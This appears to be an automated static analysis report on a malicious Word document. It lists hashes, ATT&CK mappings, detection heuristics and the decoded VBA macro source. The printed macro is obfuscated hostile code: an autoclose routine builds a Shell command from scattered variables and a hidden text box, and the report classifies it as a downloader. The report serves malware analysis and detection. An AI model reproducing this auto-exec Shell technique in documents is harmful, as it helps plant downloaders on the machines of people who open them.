Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9dade916742bc7c8…

MALICIOUS

Office (OLE)

140.9 KB Created: 2018-12-19 20:55:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: e1321e8c873680d4497bec541adebc03 SHA-1: 309ac65a76dcd12d8be94771a7e4e037f413f649 SHA-256: 9dade916742bc7c8a1270f4187e443a983bcc00af2ea0c4ea25cbe3d2b6a89d5
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'autoclose' macro triggers the execution of a Shell() command, which is a common technique for downloading and executing further malicious content. The ClamAV detection and multiple VBA-related heuristic firings strongly indicate downloader functionality.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-6789543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6789543-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
          End Select
    V26879827 = Array(s44259190, b511134, Q04634290, Interaction.Shell(CVar("" + v06139881 + T2723026 + b198432 + i99013 + o235308 + r7874007.TextBox1) + k53793 + T0739778 + t12275 + R513123, 47 - 47), V19015)
       Select Case S5065
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
    Sub autoclose()
    E818565
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4411 bytes
SHA-256: a58421718edb4e2831a497735750403b08c91c7cf0c55414b4cf72149674ba2c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "r7874007"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoclose()
E818565
End Sub

Attribute VB_Name = "K3525949699157"
Function E818565()
On Error Resume Next
   Select Case A089
         Case 26459607
 h4245 = n6431
N280 = Rnd(p315 - Round(i632) / 278693311 - Round(P9563))
O3593 = i366
p557 = Rnd(i070 * Tan(71912643))
         Case 63911723
f2489 = a858
v5666 = Z391
      End Select
   Select Case N565
         Case 332880776
 n419 = I443
h164 = Rnd(q7593 - Round(Y398) / 128729154 - Round(r2427))
F8532 = h0730
w936 = Rnd(t178 * Tan(94420883))
         Case 101838848
L294 = J9406
h175 = K3634
      End Select
   Select Case q3732
         Case 105587896
 V9970 = C309
C5682 = Rnd(G8988 - Round(Z540) / 180293669 - Round(U014))
s1210 = i5415
z3219 = Rnd(U517 * Tan(122369836))
         Case 123419833
f260 = w7887
B8222 = T507
      End Select
V26879827 = Array(s44259190, b511134, Q04634290, Interaction.Shell(CVar("" + v06139881 + T2723026 + b198432 + i99013 + o235308 + r7874007.TextBox1) + k53793 + T0739778 + t12275 + R513123, 47 - 47), V19015)
   Select Case S5065
         Case 267702196
 I417 = j813
h119 = Rnd(F226 - Round(u718) / 26403444 - Round(X0694))
F434 = j8732
n2949 = Rnd(T859 * Tan(106540780))
         Case 62789919
Q3762 = X4150
d0355 = J8836
      End Select
   Select Case z646
         Case 148927091
 W950 = L384
E5940 = Rnd(u1589 - Round(k477) / 158027696 - Round(M668))
r2434 = J1508
Q9634 = Rnd(S1830 * Tan(63110167))
         Case 16556997
a816 = I4613
S6247 = d063
      End Select
   Select Case O481
         Case 102746326
 s4748 = l047
B1989 = Rnd(V5377 - Round(F5341) / 237677224 - Round(T4559))
f332 = G8588
u7554 = Rnd(E0366 * Tan(285647673))
         Case 170310661
l3835 = j0737
Q769 = R865
      End Select
   Select Case D7511
         Case 260186617
 l638 = D209
i8036 = Rnd(Q015 - Round(i353) / 221907310 - Round(j895))
i5164 = f3029
V2376 = Rnd(G2041 * Tan(21326043))
         Case 95371967
W5053 = D025
z743 = Y0841
      End Select
   Select Case j307
         Case 3491076
 H8907 = m683
f944 = Rnd(O976 - Round(Q3086) / 144927605 - Round(H0840))
O8345 = w404
r237 = Rnd(w106 * Tan(32243785))
         Case 282123792
t327 = X959
G1700 = Q664
      End Select
End Function


Attribute VB_Name = "F2837351375"

Attribute VB_Name = "b099508571"

Attribute VB_Name = "F9230730641494"

Attribute VB_Name = "F7092600"

Attribute VB_Name = "h27052046448"

Attribute VB_Name = "K28296121840198"

Attribute VB_Name = "H44124790458674"

Attribute VB_Name = "v981556196612"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Y2510192"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "L75611712982109"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "X1392881"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "P17174229269601"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False